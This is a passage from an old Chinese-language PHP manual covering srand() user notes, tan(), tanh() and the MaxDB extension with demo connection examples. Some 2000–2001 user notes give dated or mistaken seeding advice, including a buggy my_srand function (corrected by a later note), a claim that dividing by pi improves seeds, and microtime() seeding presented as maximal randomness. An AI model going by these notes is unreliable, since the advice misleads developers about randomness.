houtex_boy-at-yahoo-dot-com
06-Oct-2001 08:52
The above function ^ will never execute anything. It should be something like this:

function my_srand($seed = '')
{
   static $wascalled = FALSE;
   if (!$wascalled){
       $seed = $seed === '' ? (double) microtime() * 1000000 : $seed;
       srand($seed);
       $wascalled = TRUE;
   }
}

&nbsp;
ceo at l-i-e dot com (fka richard at zend dot com)
25-Aug-2001 01:58
Here is a way to be sure you only call srand once:

function my_srand($seed = ''){
   static $wascalled = TRUE;
   if (!$wascalled){
       $seed = $seed === '' ? (double) microtime() * 1000000 : $seed;
       srand($seed);
   }
}
15-Aug-2001 01:14
I have a ramdon circulater that changes a piece of text once a day, and I use the following code to make sure the see is unique enough.

$tm = time();
$today = mktime(0, 0, 0, (int)date("n", $tm), (int)date("j", $tm), (int)date("Y", $tm));
srand($today / pi());

The pi works wonders for the whole thing and it works like a charm. Any other big decimal number will do as well, but pi is the most common "big" number.
akukula at min dot pl
14-Aug-2001 10:14
Calling srand((double)microtime()*1000000),
then $a=rand(1000000,9999999), then srand((double)microtime()*$a)
adds nothing to the entrophy: the execution time of rand and srand is
constant, so the second microtime() produces nothing really fascinating. You may safely use just the first srand().
vonStahl at NOPE2SPAM dot ratio dot net
27-Jul-2001 08:32
How about<br>
<?
srand((double)microtime()*1000000);
$seed = rand(1000000,9999999);
srand((double)microtime()*$seed);
$yadda = rand (1,100);
?><br>
I used this in a test run with 1,000.000 calls for $yadda. Processing time increased by 0.0000061 seconds compared to a simple "srand((double)microtime()*1000000);"
$yadda had the value of each number between 1 and 100 for between 0.99999122% and 1.00000872% of all calls. That's random and fast enough for me. :)
rjones at ditzed dot org
30-May-2001 03:02
As a sidenote on the usage of srand():

If you are making use of modular programming, it is probably better to try and call the srand routine from the parent script than from any modules you may be using (using REQUIRE or INCLUDE).
This way you get around the possibility of calling srand() more than once from different modules.

The flaw in this solution, of course, is when using modules produced by another programmer, or when producing modules for another programmer.
You cannot rely on another programmer calling the srand function before calling the modular function, so you would have to include the srand function inside the module in this case.

If you produce modules for use by other programmers then it is good practice to documentise the fact you have already called the srand function.
Or if you use a modular function produced by someone else, check their documentation, or check their source code.
rjones at ditzed dot org
30-May-2001 02:41
Use the srand() seed "(double)microtime()*1000000" as mentioned by the richard@zend.com at the top of these user notes.

The most notable effect of using any other seed is that your random numbers tend to follow the same, or very similar, sequences each time the script is invoked.

Take note of the following script:

  srand($val);

  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20) . ", ";
  echo rand(0, 20);

If you seed the generator with a constant, say; the number 5 ($val = 5), then the sequence generated is always the same, in this case (0, 18, 7, 15, 17) (for me at least, different processors/processor speeds/operating systems/OS releases/PHP releases/webserver software may generate different sequences).

If you seed the generator with time(), then the sequence is more random, but invokations that are very close together will have similar outputs.

As richard@zend.com above suggests, the best seed to use is (double) microtime() * 1000000, as this gives the greatest amount of psuedo-randomness. In fact, it is random enough to suit most users.
In a test program of 100000 random numbers between 1 and 20, the results were fairly balanced, giving an average of 5000 results per number, give or take 100. The deviation in each case varied with each invokation.
MakeMoolah at themail dot com
29-Jan-2001 07:16
Sorry about that...  ok, forget have of what I said up there ^.

The code that would prove my example is this:

srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));
srand(5);
echo(rand(1, 10));

Each time you SHOULD get the same answer, but if you did this:

srand(5);
echo(rand(1, 10));
echo(rand(1, 10));
echo(rand(1, 10));

then the answers would be different, and you'd be letting the random number formula do it's duty.
hagen at von-eitzen dot de
10-Oct-2000 06:51
It is REALLY essential to make sure that srand is called only once.
This is a bit difficult if the call is hidden somewhere in third-party code you include. For example, I used a standard banner script that *seemed* to work well putting
three random banners in one frame. But in the long run, the choice appeared
somewhat biased - probably because srand was called once per banner, not
once per run.
It would be nice if the random number generator worked like in PERL: If You use the random function without having called srand ever before in a script,
srand is invoked before (and automatically with a nice seed, hopefully).
I suggest that one should do something like this:
<pre>
if (!$GLOBALS["IHaveCalledSrandBefore"]++) {
  srand((double) microtime() * 1000000);
}
</pre>
(Depending on the situation, one might also work with a static variable instead)
richard at zend dot com
06-Oct-2000 03:02
*ALWAYS* use
(double)microtime()*1000000
as your seed.
Do *NOT* just use time().  Do not add an extra 0 to make it "bigger".

Take care to call srand() only *ONCE* per script.

Calling
(double)microtime()*1000000
once, and only once, per script gives you the maximum "randomness" you can get.

Anything else is sub-standard.  If you want to understand why, there's a lot of reading you need to do...  I don't know enough to point you to the best text to get started on this reading.  For now, just trust the PHP Developers, okay?
add a note add a note

后退 | 起点 | 前进
sqrt | 上一级 | tan


tan

(PHP 3, PHP 4, PHP 5)

tan -- 正切

说明

float tan ( float arg )

tan() 返回参数 arg 的正切值。参数 arg 的单位为弧度。

例子 1. tan()

<?php

echo tan(M_PI_4); // 1

?>

参见：
atan()、
sin()、
cos()和
deg2rad()。

add a note add a note User Contributed Notes
fformula at gmail dot com
10-Apr-2006 08:26
To find cotangent you can use
  tan (M_PI/2 - $alfa)
add a note add a note

后退 | 起点 | 前进
srand | 上一级 | tanh


tanh

(PHP 4 >= 4.1.0, PHP 5)

tanh -- 双曲正切

说明

float tanh ( float arg )

返回 arg 的双曲正切值，定义为 sinh(arg)/cosh(arg)。

参见：
tan()、
atanh()、
sin()和
cos()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
tan | 上一级 | MaxDB PHP Extension


MaxDB PHP Extension

PHP 手册
后退 前进

LXVIII. MaxDB PHP Extension

简介

The MaxDB PHP extension allows you to access the functionality provided by MaxDB 7.5.0 and above. More information about the MaxDB Database server can be found at http://www.mysql.com/products/maxdb/.

The MaxDB PHP extension is compatible to the MySQL mysqli extension. There are only minor differences in the behaviour of some functions due to the differences of the underlying database servers, MaxDB and MySQL.

The main differences to mysqli are in the following functions:

maxdb_character_set_name() - Returns only ascii or unicode.
maxdb_get_client_info() - Returns a different version string.
maxdb_get_client_version() - Returns a different version string.
maxdb_get_host_info() - Returns localhost or hostname.
maxdb_get_server_info() - Returns a different version string.
maxdb_get_server_version() - Returns a different version string.
maxdb_kill() - Only disconnects the session.
maxdb_multi_query() - Can not handle multiple SQL statements.
maxdb_next_result() - Function returns always false.
maxdb_options() - Supports a different set of options.
maxdb_report() - Supports a different report mode.
maxdb_stat() - Returns a different system status string.
maxdb_stmt_store_result() - Is not necessary for MaxDB.
maxdb_store_result() - Is not necessary for MaxDB.

Documentation for MaxDB can be found at http://dev.mysql.com/doc/maxdb/.

需求

In order to have these functions available, you must compile PHP with MaxDB support. Additionally, you must have the MaxDB SQLDBC runtime library available to access the MaxDB server.

Documentation for MaxDB SQLDBC can be found at http://dev.mysql.com/doc/maxdb/.

Download the MaxDB SQLDBC package from http://dev.mysql.com/downloads/maxdb/clients.html.

安装

By using the --with-maxdb[=DIR] configuration option you enable PHP to access MaxDB databases. [DIR] points to the directory that contains the installed MaxDB SQLDBC package.

Windows users will need to enable php_maxdb.dll inside of php.ini.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. MaxDB Configuration Options

Name | Default | Changeable | Changelog
maxdb.default_host | NULL | PHP_INI_ALL |
maxdb.default_db | NULL | PHP_INI_ALL |
maxdb.default_user | NULL | PHP_INI_ALL |
maxdb.default_pw | NULL | PHP_INI_ALL |
maxdb.long_readlen | "200" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

maxdb.default_host string

The default server host to use when connecting to the database server if no other host is specified.

maxdb.default_db string

The default server database to use when connecting if no other database is specified.

maxdb.default_user string

The default user name to use when connecting to the database server if no other name is specified.

maxdb.default_pw string

The default password to use when connecting to the database server if no other password is specified.

maxdb.long_readlen integer

The default maximum length of bytes that is transferred to the client if long data is retrieved from the MaxDB database server.

预定义类

maxdb

Represents a connection between PHP and a MaxDB database.

构造函数

  • maxdb - construct a new maxdb object

方法

  • autocommit - turns on or off auto-commiting database modifications

  • change_user - changes the user of the specified database connection

  • character_set_name - returns the default character set for the database connection

  • close - closes a previously opened connection

  • commit - commits the current transaction

  • connect - opens a new connection to MaxDB database server

  • debug - performs debugging operations

  • dump_debug_info - dumps debug information

  • get_client_info - returns client version

  • get_host_info - returns type of connection used

  • get_server_info - returns version of the MaxDB server

  • get_server_version - returns version of the MaxDB server

  • init - initializes maxdb object

  • info - retrieves information about the most recently executed query

  • kill - asks the server to kill a MaxDB thread

  • multi_query - performs multiple queries

  • more_results - check if more results exist from currently executed multi-query

  • next_result - reads next result from currently executed multi-query

  • options - set options

  • ping - pings a server connection or reconnects if there is no connection

  • prepare - prepares a SQL query

  • query - performs a query

  • real_connect - attempts to open a connection to MaxDB database server

  • escape_string - escapes special characters in a string for use in a SQL statement, taking into account the current charset of the connection

  • rollback - rolls back the current transaction

  • select_db - selects the default database

  • ssl_set - sets ssl parameters

  • stat - gets the current system status

  • stmt_init- initializes a statement for use with maxdb_stmt_prepare

  • store_result - transfers a resultset from last query

  • use_result - transfers an unbuffered resultset from last query

  • thread-safe - returns whether thread safety is given or not

属性

  • affected_rows - gets the number of affected rows in a previous MaxDB operation

  • client_info - returns the MaxDB client version as a string

  • client_version - returns the MaxDB client version as an integer

  • errno - returns the error code for the most recent function call

  • error - returns the error string for the most recent function call

  • field_count - returns the number of columns for the most recent query

  • host_info - returns a string representing the type of connection used

  • info - retrieves information about the most recently executed query

  • insert_id - returns the auto generated id used in the last query

  • protocol_version - returns the version of the MaxDB protocol used

  • sqlstate - returns a string containing the SQLSTATE error code for the last error

  • thread_id - returns the thread ID for the current connection

  • warning_count - returns the number of warnings generated during execution of the previous SQL statement

maxdb_stmt

Represents a prepared statement.

方法

  • bind_param - binds variables to a prepared statement

  • bind_result - binds variables to a prepared statement for result storage

  • close - closes a prepared statement

  • data-seek - seeks to an arbitrary row in a statement result set

  • execute - executes a prepared statement

  • fetch - fetches result from a prepared statement into bound variables

  • free_result - frees stored result memory for the given statement handle

  • result_metadata - retrieves a resultset from a prepared statement for metadata information

  • prepare - prepares a SQL query

  • send_long_data - sends data in chunks

  • close_long_data - end sending long data

  • reset - resets a prepared statement

  • store_result - buffers complete resultset from a prepared statement

属性

  • affected_rows - returns affected rows from last statement execution

  • errno - returns errorcode for last statement function

  • errno - returns errormessage for last statement function

  • param_count - returns number of parameter for a given prepare statement

  • sqlstate - returns a string containing the SQLSTATE error code for the last statement function

maxdb_result

Represents the result set obtained from a query against the database.

方法

  • close - closes resultset

  • data_seek - moves internal result pointer

  • fetch_field - gets column information from a resultset

  • fetch_fields - gets information for all columns from a resulset

  • fetch_field_direct - gets column information for specified column

  • fetch_array - fetches a result row as an associative array, a numeric array, or both.

  • fetch_assoc - fetches a result row as an associative array

  • fetch_object - fetches a result row as an object

  • fetch_row - gets a result row as an enumerated array

  • close - frees result memory

  • field_seek - set result pointer to a specified field offset

属性

  • current_field - returns offset of current fieldpointer

  • field_count - returns number of fields in resultset

  • lengths - returns an array of columnlengths

  • num_rows - returns number of rows in resultset

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

The following constants to use with maxdb_options() are defined. For further description of these constants see http://dev.mysql.com/doc/maxdb/.

表格 2. MaxDB PHP client constants

Constant | Description
MAXDB_COMPNAME | The component name used to initialise the SQLDBC runtime environment.
MAXDB_APPLICATION | The application to be connected to the database.
MAXDB_APPVERSION | The version of the application.
MAXDB_SQLMODE | The SQL mode.
MAXDB_UNICODE | TRUE, if the connection is an unicode (UCS2) client or FALSE, if not.
MAXDB_TIMEOUT | The maximum allowed time of inactivity after which the connection to the database is closed by the system.
MAXDB_ISOLATIONLEVEL | Specifies whether and how shared locks and exclusive locks are implicitly requested or released.
MAXDB_PACKETCOUNT | The number of different request packets used for the connection.
MAXDB_STATEMENTCACHESIZE | The number of prepared statements to be cached for the connection for re-use.
MAXDB_CURSORPREFIX | The prefix to use for result tables that are automatically named.

The function maxdb_fetch_array() uses a constant for the different types of result arrays. The following constants are defined:

表格 3. MaxDB fetch constants

Constant | Description
MAXDB_ASSOC | Columns are returned into the array having the fieldname as the array index.
MAXDB_ASSOC_UPPER | Columns are returned into the array having the upper case fieldname as the array index.
MAXDB_ASSOC_LOWER | Columns are returned into the array having the lower case fieldname as the array index.
MAXDB_BOTH | Columns are returned into the array having both a numerical index and the fieldname as the array index.
MAXDB_NUM | Columns are returned into the array having a numerical index to the fields. This index starts with 0, the first field in the result.

范例

All examples in the MaxDB PHP documentation use the HOTELDB demo database from MaxDB. More about this database can be found at http://dev.mysql.com/doc/maxdb/en/98/11b83fa6b33c17e10000000a114084/frameset.htm.

To use the examples in the MaxDB PHP documentation, you have to load the tutorial data into your database. Then you have to set maxdb.default_db in php.ini to the database that contains the tutorial data.

This simple example shows how to connect, execute a query, print resulting rows and disconnect from a MaxDB database.

例子 1. MaxDB extension overview example

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Performing SQL query */
$query = "SELECT * FROM hotel.city";
$result = maxdb_query($link, $query) or die("Query failed : " . maxdb_error());

/* Printing results in HTML */
echo "<table>\n";
while ($line = maxdb_fetch_array($result, MAXDB_ASSOC)) {
    echo "  <tr>\n";
    foreach ($line as $col_value) {
        echo "    <td>$col_value</td>\n";
    }
    echo "  </tr>\n";
}
echo "</table>\n";

/* Free resultset */
maxdb_free_result($result);

/* Closing connection */
maxdb_close($link);
?>

The following example shows how to bind variables to a SELECT INTO statement.

例子 2. Example for use of SELECT INTO statements

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "SELECT percentage INTO ? FROM hotel.countrylanguage where language = ?");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

$name = "Mbundu";

maxdb_stmt_bind_param($stmt, 'ds', $percentage, $name);
maxdb_stmt_execute($stmt);

printf ("%f\n", $percentage);

maxdb_stmt_close ($stmt);
?>

The following example shows how to use MaxDB database procedures.

例子 3. Example fore using database procedures

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP DBPROC test_proc");
maxdb_report (MAXDB_REPORT_ERROR);

$query = "create dbproc test_proc (INOUT e_text char(72)) AS select * from SYSDBA.DUAL; fetch into :e_text;";

maxdb_query($link, $query);

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "CALL test_proc (?)");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

maxdb_stmt_bind_param($stmt, 's', $result);
maxdb_stmt_execute($stmt);

printf ("%s\n", $result);

maxdb_stmt_close ($stmt);
?>

目录
maxdb_affected_rows -- Gets the number of affected rows in a previous MaxDB operation
maxdb_autocommit -- Turns on or off auto-commiting database modifications
maxdb_bind_param -- 别名 maxdb_stmt_bind_param()
maxdb_bind_result -- 别名 maxdb_stmt_bind_result()
maxdb_change_user -- Changes the user of the specified database connection
maxdb_character_set_name -- Returns the default character set for the database connection
maxdb_client_encoding -- 别名 maxdb_character_set_name()
maxdb_close_long_data -- 别名 maxdb_stmt_close_long_data()
maxdb_close -- Closes a previously opened database connection
maxdb_commit -- Commits the current transaction
maxdb_connect_errno -- Returns the error code from last connect call
maxdb_connect_error -- Returns a string description of the last connect error
maxdb_connect -- Open a new connection to the MaxDB server
maxdb_data_seek -- Adjusts the result pointer to an arbitary row in the result
maxdb_debug -- Performs debugging operations
maxdb_disable_reads_from_master -- Disable reads from master
maxdb_disable_rpl_parse -- Disable RPL parse
maxdb_dump_debug_info -- Dump debugging information into the log
maxdb_embedded_connect -- Open a connection to an embedded MaxDB server
maxdb_enable_reads_from_master -- Enable reads from master
maxdb_enable_rpl_parse -- Enable RPL parse
maxdb_errno -- Returns the error code for the most recent function call
maxdb_error -- Returns a string description of the last error
maxdb_escape_string -- 别名 maxdb_real_escape_string()
maxdb_execute -- 别名 maxdb_stmt_execute()
maxdb_fetch_array -- Fetch a result row as an associative, a numeric array, or both
maxdb_fetch_assoc -- Fetch a result row as an associative array
maxdb_fetch_field_direct -- Fetch meta-data for a single field
maxdb_fetch_field -- Returns the next field in the result set
maxdb_fetch_fields -- Returns an array of resources representing the fields in a result set
maxdb_fetch_lengths -- Returns the lengths of the columns of the current row in the result set
maxdb_fetch_object -- Returns the current row of a result set as an object
maxdb_fetch_row -- Get a result row as an enumerated array
maxdb_fetch -- 别名 maxdb_stmt_fetch()
maxdb_field_count -- Returns the number of columns for the most recent query
maxdb_field_seek -- Set result pointer to a specified field offset
maxdb_field_tell -- Get current field offset of a result pointer
maxdb_free_result -- Frees the memory associated with a result
maxdb_get_client_info -- Returns the MaxDB client version as a string
maxdb_get_client_version -- Get MaxDB client info
maxdb_get_host_info -- Returns a string representing the type of connection used
maxdb_get_metadata -- 别名 maxdb_stmt_result_metadata()
maxdb_get_proto_info -- Returns the version of the MaxDB protocol used
maxdb_get_server_info -- Returns the version of the MaxDB server
maxdb_get_server_version -- Returns the version of the MaxDB server as an integer
maxdb_info -- Retrieves information about the most recently executed query
maxdb_init -- Initializes MaxDB and returns an resource for use with maxdb_real_connect
maxdb_insert_id -- Returns the auto generated id used in the last query
maxdb_kill -- Disconnects from a MaxDB server
maxdb_master_query -- Enforce execution of a query on the master in a master/slave setup
maxdb_more_results -- Check if there any more query results from a multi query
maxdb_multi_query -- Performs a query on the database
maxdb_next_result -- Prepare next result from multi_query
maxdb_num_fields -- Get the number of fields in a result
maxdb_num_rows -- Gets the number of rows in a result
maxdb_options -- Set options
maxdb_param_count -- 别名 maxdb_stmt_param_count()
maxdb_ping -- Pings a server connection, or tries to reconnect if the connection has gone down
maxdb_prepare -- Prepare a SQL statement for execution
maxdb_query -- Performs a query on the database
maxdb_real_connect -- Opens a connection to a MaxDB server
maxdb_real_escape_string -- Escapes special characters in a string for use in a SQL statement, taking into account the current charset of the connection
maxdb_real_query -- Execute an SQL query
maxdb_report -- Enables or disables internal report functions
maxdb_rollback -- Rolls back current transaction
maxdb_rpl_parse_enabled -- Check if RPL parse is enabled
maxdb_rpl_probe -- RPL probe
maxdb_rpl_query_type -- Returns RPL query type
maxdb_select_db -- Selects the default database for database queries
maxdb_send_long_data -- 别名 maxdb_stmt_send_long_data()
maxdb_send_query -- Send the query and return
maxdb_server_end -- Shut down the embedded server
maxdb_server_init -- Initialize embedded server
maxdb_set_opt -- 别名 maxdb_options()
maxdb_sqlstate -- Returns the SQLSTATE error from previous MaxDB operation
maxdb_ssl_set -- Used for establishing secure connections using SSL
maxdb_stat -- Gets the current system status
maxdb_stmt_affected_rows -- Returns the total number of rows changed, deleted, or inserted by the last executed statement
maxdb_stmt_bind_param -- Binds variables to a prepared statement as parameters
maxdb_stmt_bind_result -- Binds variables to a prepared statement for result storage
maxdb_stmt_close_long_data -- Ends a sequence of maxdb_stmt_send_long_data()
maxdb_stmt_close -- Closes a prepared statement
maxdb_stmt_data_seek -- Seeks to an arbitray row in statement result set
maxdb_stmt_errno -- Returns the error code for the most recent statement call
maxdb_stmt_error -- Returns a string description for last statement error
maxdb_stmt_execute -- Executes a prepared Query
maxdb_stmt_fetch -- Fetch results from a prepared statement into the bound variables
maxdb_stmt_free_result -- Frees stored result memory for the given statement handle
maxdb_stmt_init -- Initializes a statement and returns an resource for use with maxdb_stmt_prepare
maxdb_stmt_num_rows -- Return the number of rows in statements result set
maxdb_stmt_param_count -- Returns the number of parameter for the given statement
maxdb_stmt_prepare -- Prepare a SQL statement for execution
maxdb_stmt_reset -- Resets a prepared statement
maxdb_stmt_result_metadata -- Returns result set metadata from a prepared statement
maxdb_stmt_send_long_data -- Send data in blocks
maxdb_stmt_sqlstate -- Returns SQLSTATE error from previous statement operation
maxdb_stmt_store_result -- Transfers a result set from a prepared statement
maxdb_store_result -- Transfers a result set from the last query
maxdb_thread_id -- Returns the thread ID for the current connection
maxdb_thread_safe -- Returns whether thread safety is given or not
maxdb_use_result -- Initiate a result set retrieval
maxdb_warning_count -- Returns the number of warnings from the last query for the given link

add a note add a note User Contributed Notes
Sven
25-Feb-2006 04:14
Installation procedure of the maxdb - php module might be a bit troublesome for some part. Me, among others (judjing by forum threads) have managed to get problems when trying to install the maxdb-php module whithout any errorcodes. Making it hard to fix..:)
however, the ODBC-version of MaxDB / SapDB shouldn't be any troubles installing. There's a guide for this at the page:
http://maxdb.yapabout.com/viewtopic.php?t=21

Ofcourse, then the PHP ODBC should be used, not the MaxDB -php version.
add a note add a note

后退 | 起点 | 前进
tanh | 上一级 | maxdb_affected_rows


maxdb_affected_rows

(PECL)

maxdb_affected_rows

(no version information, might be only in CVS)

maxdb->affected_rows -- Gets the number of affected rows in a previous MaxDB operation

Description

Procedural style:

int maxdb_affected_rows ( resource link )

Object oriented style (property):

class maxdb {

int affected_rows

}

maxdb_affected_rows() returns the number of rows affected by the last INSERT, UPDATE, or DELETE query associated with the provided link parameter. If this number cannot be determined, this function will return -1.

注: For SELECT statements maxdb_affected_rows() works like maxdb_num_rows().

The maxdb_affected_rows() function only works with queries which modify a table. In order to return the number of rows from a SELECT query, use the maxdb_num_rows() function instead.

Return Values

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the number of rows affected can not be determined.

See also

maxdb_num_rows(), maxdb_info().

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

/* Insert rows */
$maxdb->query("CREATE TABLE mycustomer AS SELECT * from hotel.customer");
printf("Affected rows (INSERT): %d\n", $maxdb->affected_rows);

$maxdb->query("ALTER TABLE mycustomer ADD Status int default 0");

/* update rows */
$maxdb->query("UPDATE mycustomer SET Status=1 WHERE cno > 50");
printf("Affected rows (UPDATE): %d\n", $maxdb->affected_rows);

/* delete rows */
$maxdb->query("DELETE FROM mycustomer WHERE cno < 50");
printf("Affected rows (DELETE): %d\n", $maxdb->affected_rows);

/* select all rows */
$result = $maxdb->query("SELECT title FROM mycustomer");
printf("Affected rows (SELECT): %d\n", $maxdb->affected_rows);

$result->close();

/* Delete table Language */
$maxdb->query("DROP TABLE mycustomer");

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

if (!$link) {
   printf("Can't connect to localhost. Error: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

/* Insert rows */
maxdb_query($link, "CREATE TABLE mycustomer AS SELECT * from hotel.customer");
printf("Affected rows (INSERT): %d\n", maxdb_affected_rows($link));

maxdb_query($link, "ALTER TABLE mycustomer ADD Status int default 0");

/* update rows */
maxdb_query($link, "UPDATE mycustomer SET Status=1 WHERE cno > 50");
printf("Affected rows (UPDATE): %d\n", maxdb_affected_rows($link));

/* delete rows */
maxdb_query($link, "DELETE FROM mycustomer WHERE cno < 50");
printf("Affected rows (DELETE): %d\n", maxdb_affected_rows($link));

/* select all rows */
$result = maxdb_query($link, "SELECT title FROM mycustomer");
printf("Affected rows (SELECT): %d\n", maxdb_affected_rows($link));

maxdb_free_result($result);

/* Delete table Language */
maxdb_query($link, "DROP TABLE mycustomer");

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Affected rows (INSERT): 15
Affected rows (UPDATE): 15
Affected rows (DELETE): 0
Affected rows (SELECT): 15

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
MaxDB PHP Extension | 上一级 | maxdb_autocommit


maxdb_autocommit

(PECL)

maxdb_autocommit

(no version information, might be only in CVS)

maxdb->auto_commit -- Turns on or off auto-commiting database modifications

Description

Procedural style:

bool maxdb_autocommit ( resource link, bool mode )

Object oriented style (method)

class maxdb {

bool auto_commit ( bool mode )

}

maxdb_autocommit() is used to turn on or off auto-commit mode on queries for the database connection represented by the link resource.

Return values

如果成功则返回 TRUE，失败则返回 FALSE。

See also

maxdb_commit(), maxdb_rollback().

Example

例子 1. Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* turn autocommit on */
$maxdb->autocommit(TRUE);

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

if (!$link) {
   printf("Can't connect to localhost. Error: %s\n", maxdb_connect_error());
   exit();
}

/* turn autocommit on */
maxdb_autocommit($link, TRUE);

/* close connection */
maxdb_close($link);
?>

The above examples would produce no output.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_affected_rows | 上一级 | maxdb_bind_param


maxdb_bind_param

(PECL)

maxdb_bind_param -- 别名 maxdb_stmt_bind_param()

说明

本函数是该函数的别名： maxdb_stmt_bind_param()

本函数别名已废弃，仅为了向后兼容性而存在。建议不要使用它，因为或许哪天它便会从 PHP 中删除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_autocommit | 上一级 | maxdb_bind_result


maxdb_bind_result

(PECL)

maxdb_bind_result -- 别名 maxdb_stmt_bind_result()

说明

本函数是该函数的别名： maxdb_stmt_bind_result().

本函数别名已废弃，仅为了向后兼容性而存在。建议不要使用它，因为或许哪天它便会从 PHP 中删除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_bind_param | 上一级 | maxdb_change_user


maxdb_change_user

(PECL)

maxdb_change_user

(no version information, might be only in CVS)

maxdb->change_user -- Changes the user of the specified database connection

Description

Procedural style:

bool maxdb_change_user ( resource link, string user, string password, string database )

Object oriented style (method):

class maxdb {

bool change_user ( string user, string password, string database )

}

maxdb_change_user() is used to change the user of the specified database connection as given by the link parameter and to set the current database to that specified by the database parameter.

In order to successfully change users a valid username and password parameters must be provided and that user must have sufficient permissions to access the desired database. If for any reason authorization fails, the current user authentication will remain.

注: Using this command will always cause the current database connection to behave as if was a completely new database connection, regardless of if the operation was completed successfully. This reset includes performing a rollback on any active transactions, closing all temporary tables, and unlocking all locked tables.

Return Values

如果成功则返回 TRUE，失败则返回 FALSE。

See also:

maxdb_connect() maxdb_select_db()

Example

例子 1. Object oriented style

<?php

/* connect database test */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = $maxdb->query("SELECT * FROM dual")) {
   $row = $result->fetch_row();
   printf("Result: %s\n", $row[0]);
   $result->free();
}

/* reset all and select a new database */
if (!$maxdb->change_user("DBADMIN", "SECRET", "DEMODB")) {
  printf("Database not running\n");
} else {
  printf("Database running\n");
}

/* close connection */
$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = maxdb_query($link, "SELECT * FROM dual")) {
   $row = maxdb_fetch_row($result);
   printf("Result: %s\n", $row[0]);
   maxdb_free_result($result);
}

/* reset all and select a new database */
if (!maxdb_change_user($link, "DBADMIN", "SECRET", "DEMODB")) {
  printf("Database not running\n");
} else {
  printf("Database running\n");
}

/* close connection */
maxdb_close($link);
?>

The above examples would produce the following output:

Result: a
Database running

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_bind_result | 上一级 | maxdb_character_set_name


maxdb_character_set_name

(PECL)

maxdb_character_set_name

(no version information, might be only in CVS)

maxdb->character_set_name -- Returns the default character set for the database connection

Description

Procedural style:

string maxdb_character_set_name ( resource link )

Object oriented style (method):

class maxdb {

string character_set_name ( void )

}

Returns the current character set for the database connection specified by the link parameter.

Return values

The default character set for the current connection, either ascii or unicode.

See also

maxdb_client_encoding(). maxdb_real_escape_string().

Example

例子 1. Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Print current character set */
$charset = $maxdb->character_set_name();
printf ("Current character set is %s\n", $charset);

$maxdb->close();
?>

例子 2. Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Print current character set */
$charset = maxdb_character_set_name($link);
printf ("Current character set is %s\n",$charset);

/* close connection */
maxdb_close($link);
?>

The above examples would be produce the following output:

Current character set is ascii

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
maxdb_change_user | 上一级 | maxdb_client_encoding


maxdb_client_encoding

(PECL)

maxdb_client_encoding -- 别名 maxdb_character_set_name()

说明

本函数是该函数的别名： maxdb_character_set_name().

本函数别名已废弃，仅为了向后兼容性而存在。建议不要使用它，因为或许哪天它便会从 PHP 中删除。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
